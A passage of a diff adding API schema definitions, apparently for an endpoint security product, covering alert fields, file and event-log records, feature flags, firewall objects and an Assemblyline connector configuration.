+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/IndexedInnerAgent'
+      aggregation_key:
+        minLength: 1
+        title: Aggregation key
+        type: string
+      alert_subtype:
+        minLength: 1
+        title: Alert subtype
+        type: string
+      alert_time:
+        format: date-time
+        title: Alert time
+        type: string
+      alert_type:
+        enum:
+          - cape
+          - correlation
+          - device_control
+          - driver
+          - glimps
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - vt
+          - yara
+        title: Alert type
+        type: string
+      alert_unique_id:
+        minLength: 1
+        title: Alert unique id
+        type: string
+      av_detection_details:
+        $ref: '#/definitions/AntivirusDetectionDetails'
+      bpf:
+        $ref: '#/definitions/ECSBpf'
+      byovd_detection_details:
+        $ref: '#/definitions/ByovdDetectionDetails'
+      comm_port_tamper:
+        $ref: '#/definitions/CommPortTamper'
+      confidence:
+        minLength: 1
+        title: Confidence
+        type: string
+      confidence_int:
+        title: Confidence int
+        type: integer
+      correlation:
+        $ref: '#/definitions/CorrelationInfo'
+      date_closed:
+        format: date-time
+        title: Date closed
+        type: string
+      date_deisolated:
+        format: date-time
+        title: Date deisolated
+        type: string
+      date_false_positive:
+        format: date-time
+        title: Date false positive
+        type: string
+      date_investigating:
+        format: date-time
+        title: Date investigating
+        type: string
+      date_isolated:
+        format: date-time
+        title: Date isolated
+        type: string
+      date_new:
+        format: date-time
+        title: Date new
+        type: string
+      destination:
+        $ref: '#/definitions/ECSDestination'
+      details_amsi_scan:
+        $ref: '#/definitions/DetailAmsiScan'
+      details_connection:
+        $ref: '#/definitions/DetailConnection'
+      details_dns_resolution:
+        $ref: '#/definitions/DetailDnsResolution'
+      details_file:
+        $ref: '#/definitions/DetailFile'
+      details_library:
+        $ref: '#/definitions/DetailLibrary'
+      details_linux_filesystem_event:
+        $ref: '#/definitions/DetailLinuxFilesystemEvent'
+      details_macos_filesystem_event:
+        $ref: '#/definitions/DetailMacosFilesystemEvent'
+      details_named_pipe_connected:
+        $ref: '#/definitions/DetailNamedPipeConnected'
+      details_named_pipe_created:
+        $ref: '#/definitions/DetailNamedPipeCreated'
+      details_network_listen:
+        $ref: '#/definitions/DetailNetworkListen'
+      details_powershell:
+        $ref: '#/definitions/DetailPowershell'
+      details_primary_token_change:
+        $ref: '#/definitions/DetailPrimaryTokenChange'
+      details_process_access:
+        $ref: '#/definitions/DetailProcessAccess'
+      details_process_tamper:
+        $ref: '#/definitions/DetailProcessTamper'
+      details_raw_device_access:
+        $ref: '#/definitions/DetailRawDeviceAccess'
+      details_raw_socket_creation:
+        $ref: '#/definitions/DetailRawSocketCreation'
+      details_registry:
+        $ref: '#/definitions/DetailRegistry'
+      details_remotethread:
+        $ref: '#/definitions/DetailRemoteThread'
+      details_url_request:
+        $ref: '#/definitions/DetailUrlRequest'
+      details_usb_device_event:
+        $ref: '#/definitions/DetailsUsbDeviceEvent'
+      details_windows_filesystem_event:
+        $ref: '#/definitions/DetailWindowsFilesystemEvent'
+      detection:
+        $ref: '#/definitions/AlertDetection'
+      detection_date:
+        format: date-time
+        title: Detection date
+        type: string
+      detection_origin:
+        minLength: 1
+        title: Detection origin
+        type: string
+      detection_timestamp:
+        format: date-time
+        title: Detection timestamp
+        type: string
+      driverload:
+        $ref: '#/definitions/InnerDriverLoad'
+      dse_tamper:
+        $ref: '#/definitions/DseTamper'
+      etw_ti_ke_insert_queue_apc:
+        $ref: '#/definitions/ECSEtwTiKeInsertQueueApc'
+      etw_ti_nt_allocate_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtAllocateVirtualMemory'
+      etw_ti_nt_map_view_of_section:
+        $ref: '#/definitions/ECSEtwTiNtMapViewOfSection'
+      etw_ti_nt_protect_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtProtectVirtualMemory'
+      etw_ti_nt_read_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      etw_ti_nt_set_context_thread:
+        $ref: '#/definitions/ECSEtwTiNtSetContextThread'
+      etw_ti_nt_write_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      event:
+        $ref: '#/definitions/ECSEvent'
+      event_session:
+        $ref: '#/definitions/SessionInfo'
+      eventlog:
+        $ref: '#/definitions/InnerEventLog'
+      execution:
+        title: Execution
+        type: integer
+      firewall_self_protection:
+        $ref: '#/definitions/FirewallSelfProtection'
+      group_event:
+        $ref: '#/definitions/InnerGroupEvent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hlai_binaries_benchmark_data:
+        $ref: '#/definitions/HlaiBinariesBenchmarkData'
+      hlai_scripts_benchmark_data:
+        $ref: '#/definitions/HlaiScriptsBenchmarkData'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      ingestion_date:
+        format: date-time
+        title: Ingestion date
+        type: string
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      kernel_callback:
+        $ref: '#/definitions/KernelCallback'
+      last_modifier_id:
+        title: Last modifier id
+        type: integer
+      last_seen:
+        format: date-time
+        title: Last seen
+        type: string
+      last_status_update_is_automatic:
+        title: Last status update is automatic
+        type: boolean
+      last_update:
+        format: date-time
+        title: Last update
+        type: string
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      level_int:
+        title: Level int
+        type: integer
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      maturity:
+        minLength: 1
+        title: Maturity
+        type: string
+      missing_related_process:
+        title: Missing related process
+        type: boolean
+      mitre_cells:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      network:
+        $ref: '#/definitions/InnerNetwork'
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      process:
+        $ref: '#/definitions/InnerProcess'
+      process_duplicate_handle:
+        $ref: '#/definitions/ECSProcessDuplicateHandle'
+      process_ptrace:
+        $ref: '#/definitions/ECSProcessPtrace'
+      process_session:
+        $ref: '#/definitions/SessionInfo'
+      quarantine:
+        title: Quarantine
+        type: integer
+      quarantined_files:
+        items:
+          $ref: '#/definitions/QuarantinedFile'
+        type: array
+      ransomguard_canary_data:
+        $ref: '#/definitions/RansomguardCanaryData'
+      ransomguard_detection_type:
+        minLength: 1
+        title: Ransomguard detection type
+        type: string
+      ransomguard_heuristic_data:
+        $ref: '#/definitions/RansomguardHeuristicData'
+      references:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      rule_content:
+        minLength: 1
+        title: Rule content
+        type: string
+      rule_id:
+        minLength: 1
+        title: Rule id
+        type: string
+      rule_name:
+        minLength: 1
+        title: Rule name
+        type: string
+      scheduled_task:
+        $ref: '#/definitions/ECSScheduledTask'
+      score:
+        title: Score
+        type: number
+      sidewatch_detection_details:
+        $ref: '#/definitions/SidewatchDetectionDetails'
+      source:
+        $ref: '#/definitions/ECSSource'
+      stack_trace:
+        $ref: '#/definitions/ECSStackTrace'
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      status_history:
+        items:
+          $ref: '#/definitions/AlertStatusHistory'
+        type: array
+      tags:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      target:
+        $ref: '#/definitions/ECSTarget'
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      thread:
+        $ref: '#/definitions/InnerInjectedThread'
+      threat_key:
+        minLength: 1
+        title: Threat key
+        type: string
+      threat_type:
+        minLength: 1
+        title: Threat type
+        type: string
+      threat_values:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      user:
+        $ref: '#/definitions/ECSUser'
+      user_event:
+        $ref: '#/definitions/InnerUserEvent'
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      whitelisted_by:
+        items:
+          $ref: '#/definitions/WhitelistedByData'
+        type: array
+      win32k_get_async_key_state:
+        $ref: '#/definitions/ECSWin32kGetAsyncKeyState'
+      win32k_register_raw_input_devices:
+        $ref: '#/definitions/ECSWin32kRegisterRawInputDevices'
+      win32k_set_windows_hook_ex:
+        $ref: '#/definitions/ECSWin32kSetWindowsHookEx'
+      windows_service:
+        $ref: '#/definitions/ECSWindowsService'
+      wmi_event:
+        $ref: '#/definitions/WmiEvent'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - aggregation_key
+      - alert_subtype
+      - alert_time
+      - alert_type
+      - alert_unique_id
+      - bpf
+      - confidence
+      - confidence_int
+      - date_closed
+      - date_deisolated
+      - date_false_positive
+      - date_investigating
+      - date_isolated
+      - date_new
+      - destination
+      - detection
+      - detection_date
+      - detection_origin
+      - detection_timestamp
+      - etw_ti_ke_insert_queue_apc
+      - etw_ti_nt_allocate_virtual_memory
+      - etw_ti_nt_map_view_of_section
+      - etw_ti_nt_protect_virtual_memory
+      - etw_ti_nt_read_virtual_memory
+      - etw_ti_nt_set_context_thread
+      - etw_ti_nt_write_virtual_memory
+      - event
+      - execution
+      - group_event
+      - id
+      - image_name
+      - ingestion_date
+      - job_id
+      - last_modifier_id
+      - last_seen
+      - last_status_update_is_automatic
+      - last_update
+      - level
+      - level_int
+      - log_type
+      - maturity
+      - missing_related_process
+      - mitre_cells
+      - msg
+      - process_duplicate_handle
+      - process_ptrace
+      - quarantine
+      - ransomguard_detection_type
+      - references
+      - rule_content
+      - rule_id
+      - rule_name
+      - scheduled_task
+      - score
+      - source
+      - stack_trace
+      - status
+      - tags
+      - target
+      - tenant
+      - threat_key
+      - threat_type
+      - threat_values
+      - user
+      - user_event
+      - username
+      - win32k_get_async_key_state
+      - win32k_register_raw_input_devices
+      - win32k_set_windows_hook_ex
+      - windows_service
+    type: object
+  ExtractedFilesNode:
+    properties:
+      analysis_status:
+        title: Analysis status
+        type: integer
+      binary_available:
+        title: Binary available
+        type: boolean
+      contains_malware_configuration:
+        title: Contains malware configuration
+        type: boolean
+      document_available:
+        title: Document available
+        type: boolean
+      extracted:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+    required:
+      - analysis_status
+      - binary_available
+      - contains_malware_configuration
+      - document_available
+      - extracted
+      - sha256
+    type: object
+  ExtractedFilesTree:
+    properties:
+      tree:
+        items:
+          $ref: '#/definitions/ExtractedFilesNode'
+        type: array
+    required:
+      - tree
+    type: object
+  ExtractedSpecialCategory:
+    properties:
+      category:
+        minLength: 1
+        title: Category
+        type: string
+      count:
+        title: Count
+        type: integer
+      strings:
+        items:
+          $ref: '#/definitions/ExtractedSpecialString'
+        type: array
+    required:
+      - category
+      - count
+      - strings
+    type: object
+  ExtractedSpecialString:
+    properties:
+      encoding:
+        minLength: 1
+        title: Encoding
+        type: string
+      offset:
+        title: Offset
+        type: integer
+      string:
+        minLength: 1
+        title: String
+        type: string
+    required:
+      - encoding
+      - offset
+      - string
+    type: object
+  ExtractedString:
+    properties:
+      category:
+        minLength: 1
+        title: Category
+        type: string
+      encoding:
+        minLength: 1
+        title: Encoding
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      string:
+        minLength: 1
+        title: String
+        type: string
+      string_offset:
+        title: String offset
+        type: integer
+    required:
+      - category
+      - encoding
+      - id
+      - sha256
+      - string
+      - string_offset
+    type: object
+  FIMFileModificationPerLevelStatsResponse:
+    properties:
+      count:
+        title: Count
+        type: integer
+      label:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        title: Label
+        type: string
+    required:
+      - count
+      - label
+    type: object
+  FIMFileModificationPerTypeStatsResponse:
+    properties:
+      count:
+        title: Count
+        type: integer
+      label:
+        enum:
+          - content
+          - creation
+          - deletion
+          - error
+          - initialization
+          - metadata
+          - metadata and content
+          - type change
+        title: Label
+        type: string
+    required:
+      - count
+      - label
+    type: object
+  FIMPolicyDuplicateQuery:
+    properties:
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      periodicity:
+        $ref: '#/definitions/CreateSchedule'
+    required:
+      - name
+    type: object
+  FIMReportStatsResponse:
+    properties:
+      modifications_accepted_count:
+        title: Modifications accepted count
+        type: integer
+      modifications_not_reviewed_count:
+        title: Modifications not reviewed count
+        type: integer
+      modifications_rejected_count:
+        title: Modifications rejected count
+        type: integer
+      report_processed_count:
+        title: Report processed count
+        type: integer
+    required:
+      - modifications_accepted_count
+      - modifications_not_reviewed_count
+      - modifications_rejected_count
+      - report_processed_count
+    type: object
+  FIMStatsResponse:
+    properties:
+      count:
+        title: Count
+        type: integer
+      label:
+        minLength: 1
+        title: Label
+        type: string
+    required:
+      - count
+      - label
+    type: object
+  FeatureFlags:
+    properties:
+      FEATURE_UNPROTECTED_ASSETS:
+        readOnly: true
+        title: Feature unprotected assets
+        type: boolean
+      FF_AMSI:
+        readOnly: true
+        title: Ff amsi
+        type: boolean
+      FF_CHOCARD_AGENT:
+        readOnly: true
+        title: Ff chocard agent
+        type: boolean
+      FF_CLASSIC_AGGREGATOR:
+        readOnly: true
+        title: Ff classic aggregator
+        type: boolean
+      FF_CONDOR_PDF:
+        readOnly: true
+        title: Ff condor pdf
+        type: boolean
+      FF_CONDOR_VBA:
+        readOnly: true
+        title: Ff condor vba
+        type: boolean
+      FF_CONSOLE_UPGRADE:
+        readOnly: true
+        title: Ff console upgrade
+        type: boolean
+      FF_CORNEILLE:
+        readOnly: true
+        title: Ff corneille
+        type: boolean
+      FF_CORNEILLE_QUERY:
+        readOnly: true
+        title: Ff corneille query
+        type: boolean
+      FF_CORRELATION_ENGINE:
+        readOnly: true
+        title: Ff correlation engine
+        type: boolean
+      FF_DEBUG_JOB:
+        readOnly: true
+        title: Ff debug job
+        type: boolean
+      FF_DEFAULT_CONFIDENCE_RULESETS:
+        readOnly: true
+        title: Ff default confidence rulesets
+        type: boolean
+      FF_DOCUMENTS_AUTO_DOWNLOAD:
+        readOnly: true
+        title: Ff documents auto download
+        type: boolean
+      FF_FIM:
+        readOnly: true
+        title: Ff fim
+        type: boolean
+      FF_FIREWALL:
+        readOnly: true
+        title: Ff firewall
+        type: boolean
+      FF_GRAFANA:
+        readOnly: true
+        title: Ff grafana
+        type: boolean
+      FF_HLAI_WRITTEN_EXE:
+        readOnly: true
+        title: Ff hlai written exe
+        type: boolean
+      FF_IKARUS_THEME:
+        readOnly: true
+        title: Ff ikarus theme
+        type: boolean
+      FF_KUBE_SCANNING:
+        readOnly: true
+        title: Ff kube scanning
+        type: boolean
+      FF_LLM_CHAT:
+        readOnly: true
+        title: Ff llm chat
+        type: boolean
+      FF_LLM_ONE_SHOT_EXPLANATION:
+        readOnly: true
+        title: Ff llm one shot explanation
+        type: boolean
+      FF_MACOS_NETWORK_ISOLATION:
+        readOnly: true
+        title: Ff macos network isolation
+        type: boolean
+      FF_MACOS_NETWORK_TELEMETRIES:
+        readOnly: true
+        title: Ff macos network telemetries
+        type: boolean
+      FF_MT_ANTIVIRUS_POLICIES:
+        readOnly: true
+        title: Ff mt antivirus policies
+        type: boolean
+      FF_MT_CTI_RULESET:
+        readOnly: true
+        title: Ff mt cti ruleset
+        type: boolean
+      FF_MT_CTI_SOURCES_RULES:
+        readOnly: true
+        title: Ff mt cti sources rules
+        type: boolean
+      FF_MT_DEVICE_CONTROL_POLICIES:
+        readOnly: true
+        title: Ff mt device control policies
+        type: boolean
+      FF_MT_FIM_POLICIES:
+        readOnly: true
+        title: Ff mt fim policies
+        type: boolean
+      FF_MT_FIREWALL_POLICIES:
+        readOnly: true
+        title: Ff mt firewall policies
+        type: boolean
+      FF_MT_ROLES:
+        readOnly: true
+        title: Ff mt roles
+        type: boolean
+      FF_MT_THREATS:
+        readOnly: true
+        title: Ff mt threats
+        type: boolean
+      FF_NGAV_HURUKAI_ANTIVIRUS:
+        readOnly: true
+        title: Ff ngav hurukai antivirus
+        type: boolean
+      FF_NGAV_IKARUS_SIGQA:
+        readOnly: true
+        title: Ff ngav ikarus sigqa
+        type: boolean
+      FF_POLICY_SET:
+        readOnly: true
+        title: Ff policy set
+        type: boolean
+      FF_RANSOMGUARD_AUTO_BLACKLIST:
+        readOnly: true
+        title: Ff ransomguard auto blacklist
+        type: boolean
+      FF_REMOTE_SHELL:
+        readOnly: true
+        title: Ff remote shell
+        type: boolean
+      FF_REMOTE_SHELL_EXECUTABLE:
+        readOnly: true
+        title: Ff remote shell executable
+        type: boolean
+      FF_REMOTE_SHELL_STAFF_WRITE_ENABLED:
+        readOnly: true
+        title: Ff remote shell staff write enabled
+        type: boolean
+      FF_SUBNETV1:
+        readOnly: true
+        title: Ff subnetv1
+        type: boolean
+      FF_SUBNETV2:
+        readOnly: true
+        title: Ff subnetv2
+        type: boolean
+      FF_THREAT_AGGREGATOR:
+        readOnly: true
+        title: Ff threat aggregator
+        type: boolean
+      FF_USB_CONTROL:
+        readOnly: true
+        title: Ff usb control
+        type: boolean
+      FF_VULNERABILITY_SCANNING:
+        readOnly: true
+        title: Ff vulnerability scanning
+        type: boolean
+      FF_VULNERABILITY_SCANNING_LINUX:
+        readOnly: true
+        title: Ff vulnerability scanning linux
+        type: boolean
+      FF_YARA_ON_FILE:
+        readOnly: true
+        title: Ff yara on file
+        type: boolean
+    type: object
+  Feedback:
+    properties:
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      request:
+        format: uuid
+        title: Request
+        type: string
+      score:
+        maximum: 1.0
+        minimum: -1.0
+        title: Score
+        type: number
+        x-nullable: true
+      submitted:
+        readOnly: true
+        title: Submitted
+        type: boolean
+    required:
+      - request
+    type: object
+  File:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      app_zone_id:
+        minLength: 1
+        title: App zone id
+        type: string
+      create_disposition:
+        title: Create disposition
+        type: integer
+      create_disposition_str:
+        minLength: 1
+        title: Create disposition str
+        type: string
+      create_options:
+        title: Create options
+        type: integer
+      create_options_str:
+        minLength: 1
+        title: Create options str
+        type: string
+      destination_path:
+        minLength: 1
+        title: Destination path
+        type: string
+      event_id:
+        title: Event id
+        type: integer
+      event_path:
+        minLength: 1
+        title: Event path
+        type: string
+      first_bytes:
+        minLength: 1
+        title: First bytes
+        type: string
+      gid:
+        title: Gid
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      last_writer_package_family_name:
+        minLength: 1
+        title: Last writer package family name
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      mode:
+        title: Mode
+        type: integer
+      mode_str:
+        minLength: 1
+        title: Mode str
+        type: string
+      old_mode:
+        title: Old mode
+        type: integer
+      old_mode_str:
+        minLength: 1
+        title: Old mode str
+        type: string
+      operation:
+        minLength: 1
+        title: Operation
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      referrer_url:
+        minLength: 1
+        title: Referrer url
+        type: string
+      source_ip_address:
+        minLength: 1
+        title: Source ip address
+        type: string
+      source_url:
+        minLength: 1
+        title: Source url
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      tid:
+        title: Tid
+        type: integer
+      uid:
+        title: Uid
+        type: integer
+      url_zone:
+        minLength: 1
+        title: Url zone
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+      written_file_size:
+        title: Written file size
+        type: integer
+      zone_id:
+        title: Zone id
+        type: integer
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - app_zone_id
+      - create_disposition
+      - create_disposition_str
+      - create_options
+      - create_options_str
+      - destination_path
+      - event_id
+      - event_path
+      - first_bytes
+      - gid
+      - groups
+      - id
+      - last_writer_package_family_name
+      - log_type
+      - mode
+      - mode_str
+      - old_mode
+      - old_mode_str
+      - operation
+      - pid
+      - process_image_path
+      - process_unique_id
+      - referrer_url
+      - source_ip_address
+      - source_url
+      - stacktrace
+      - stacktrace_minimal
+      - tenant
+      - tid
+      - uid
+      - url_zone
+      - utc_time
+      - written_file_size
+      - zone_id
+    type: object
+  FileAvailability:
+    properties:
+      downloaded:
+        enum:
+          - -1
+          - 0
+          - 1
+          - 2
+          - 3
+          - 255
+        readOnly: true
+        title: Downloaded
+        type: integer
+      file_availability:
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+          - 4
+          - 5
+          - 6
+          - 7
+          - 8
+          - 9
+          - 255
+        readOnly: true
+        title: File availability
+        type: integer
+      is_available:
+        title: Is available
+        type: boolean
+      is_requestable:
+        title: Is requestable
+        type: boolean
+    required:
+      - is_available
+      - is_requestable
+    type: object
+  FileDescriptor:
+    properties:
+      fd:
+        title: Fd
+        type: integer
+      filepath:
+        minLength: 1
+        title: Filepath
+        type: string
+      mode:
+        minLength: 1
+        title: Mode
+        type: string
+    required:
+      - fd
+      - filepath
+      - mode
+    type: object
+  FilepathDeleter:
+    properties:
+      filepath:
+        minLength: 1
+        title: Filepath
+        type: string
+    required:
+      - filepath
+    type: object
+  FilesBySource:
+    properties:
+      rules:
+        items:
+          $ref: '#/definitions/YaraInfo'
+        type: array
+      source:
+        $ref: '#/definitions/YaraInfo'
+    required:
+      - rules
+      - source
+    type: object
+  FirewallCodeDetailsResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - default_profile_protection
+          - endpoint_policy_not_found
+          - multiple_network_deleted
+          - multiple_policy_deleted
+          - multiple_profile_deleted
+          - network_in_use
+          - network_update_failed
+          - no_network_deleted
+          - no_policy_deleted
+          - no_profile_deleted
+          - not_owned_network
+          - not_owned_policy
+          - not_owned_profile
+          - ordering_mismatching_rule_count
+          - ordering_wrong_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - profile_in_use
+          - profile_update_failed
+          - rule_update_failed
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - details
+    type: object
+  FirewallIp:
+    properties:
+      fqdn:
+        maxLength: 256
+        title: Fqdn
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      mask:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Mask
+        type: integer
+        x-nullable: true
+      origin:
+        minLength: 1
+        title: Origin
+        type: string
+        x-nullable: true
+      to:
+        minLength: 1
+        title: To
+        type: string
+        x-nullable: true
+      type:
+        enum:
+          - CIDR
+          - FQDN
+          - IP
+          - RANGE
+        title: Type
+        type: string
+        x-nullable: true
+    type: object
+  FirewallNetworkBlock:
+    properties:
+      associated_ip:
+        $ref: '#/definitions/FirewallIp'
+      id:
+        format: uuid
+        title: Id
+        type: string
+      interface_type:
+        maximum: 2147483647
+        minimum: 0
+        title: Interface type
+        type: integer
+        x-nullable: true
+      tunnel_type:
+        maximum: 2147483647
+        minimum: 0
+        title: Tunnel type
+        type: integer
+        x-nullable: true
+    type: object
+  FirewallNetworkName:
+    properties:
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  FirewallPolicyIdAndName:
+    properties:
+      firewall_policy_id:
+        format: uuid
+        title: Firewall policy id
+        type: string
+      firewall_policy_name:
+        minLength: 1
+        title: Firewall policy name
+        type: string
+    required:
+      - firewall_policy_id
+      - firewall_policy_name
+    type: object
+  FirewallPolicyName:
+    properties:
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  FirewallPort:
+    properties:
+      id:
+        format: uuid
+        title: Id
+        type: string
+      origin:
+        maximum: 65535
+        minimum: 0
+        title: Origin
+        type: integer
+      to:
+        maximum: 65535
+        minimum: 0
+        title: To
+        type: integer
+        x-nullable: true
+      type:
+        enum:
+          - PORT
+          - RANGE
+        title: Type
+        type: string
+        x-nullable: true
+    required:
+      - origin
+    type: object
+  FirewallProfile:
+    properties:
+      default_incoming_action:
+        enum:
+          - Allow
+          - Drop
+          - Reject
+        title: Default incoming action
+        type: string
+      default_outgoing_action:
+        enum:
+          - Allow
+          - Drop
+          - Reject
+        title: Default outgoing action
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      endpoints_count:
+        readOnly: true
+        title: Endpoints count
+        type: integer
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      policies_count:
+        readOnly: true
+        title: Policies count
+        type: integer
+      rules_count:
+        readOnly: true
+        title: Rules count
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  FirewallProfileName:
+    properties:
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  FirewallRuleName:
+    properties:
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  FirewallSelfProtection:
+    properties:
+      eventtime_datetime:
+        format: date-time
+        title: Eventtime datetime
+        type: string
+      filter_description:
+        minLength: 1
+        title: Filter description
+        type: string
+      filter_id:
+        title: Filter id
+        type: integer
+      filter_name:
+        minLength: 1
+        title: Filter name
+        type: string
+      provider_description:
+        minLength: 1
+        title: Provider description
+        type: string
+      provider_name:
+        minLength: 1
+        title: Provider name
+        type: string
+      provider_service_name:
+        minLength: 1
+        title: Provider service name
+        type: string
+    required:
+      - eventtime_datetime
+      - filter_description
+      - filter_id
+      - filter_name
+      - provider_description
+      - provider_name
+      - provider_service_name
+    type: object
+  FullEventLog:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      computer_name:
+        minLength: 1
+        title: Computer name
+        type: string
+      event_date:
+        format: date-time
+        title: Event date
+        type: string
+      event_id:
+        title: Event id
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      keywords:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      log_name:
+        minLength: 1
+        title: Log name
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      pid:
+        title: Pid
+        type: integer
+      process_id:
+        title: Process id
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      provider_guid:
+        minLength: 1
+        title: Provider guid
+        type: string
+      record_number:
+        title: Record number
+        type: integer
+      source_name:
+        minLength: 1
+        title: Source name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      thread_id:
+        title: Thread id
+        type: integer
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      user:
+        $ref: '#/definitions/EventUser'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - computer_name
+      - event_date
+      - event_id
+      - groups
+      - id
+      - keywords
+      - level
+      - log_name
+      - log_type
+      - pid
+      - process_id
+      - process_image_path
+      - process_unique_id
+      - provider_guid
+      - record_number
+      - source_name
+      - tenant
+      - thread_id
+      - type
+      - user
+    type: object
+  GeoIP:
+    properties:
+      as_org:
+        minLength: 1
+        title: As org
+        type: string
+      country_code:
+        minLength: 1
+        title: Country code
+        type: string
+      country_name:
+        minLength: 1
+        title: Country name
+        type: string
+    required:
+      - as_org
+      - country_code
+      - country_name
+    type: object
+  GetAssemblyline:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      events_limit:
+        default: false
+        title: Events limit
+        type: boolean
+      events_limit_value:
+        minimum: 1
+        title: Events limit value
+        type: integer
+        x-nullable: true
+      hlai_alert:
+        default: false
+        title: Hlai alert
+        type: boolean
+      hlai_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Hlai alert level
+        type: string
+      ioc_alert:
+        default: false
+        title: Ioc alert
+        type: boolean
+      ioc_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ioc alert level
+        type: string
+      limit_report_date:
+        default: 7
+        minimum: 0
+        title: Limit report date
+        type: integer
+      ransom_alert:
+        default: false
+        title: Ransom alert
+        type: boolean
+      ransom_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ransom alert level
+        type: string
+      scan_only_sec_events:
+        default: false
+        title: Scan only sec events
+        type: boolean
+      sigma_alert:
+        default: false
+        title: Sigma alert
+        type: boolean
+      sigma_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Sigma alert level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      url:
+        minLength: 1
+        title: Url
+        type: string
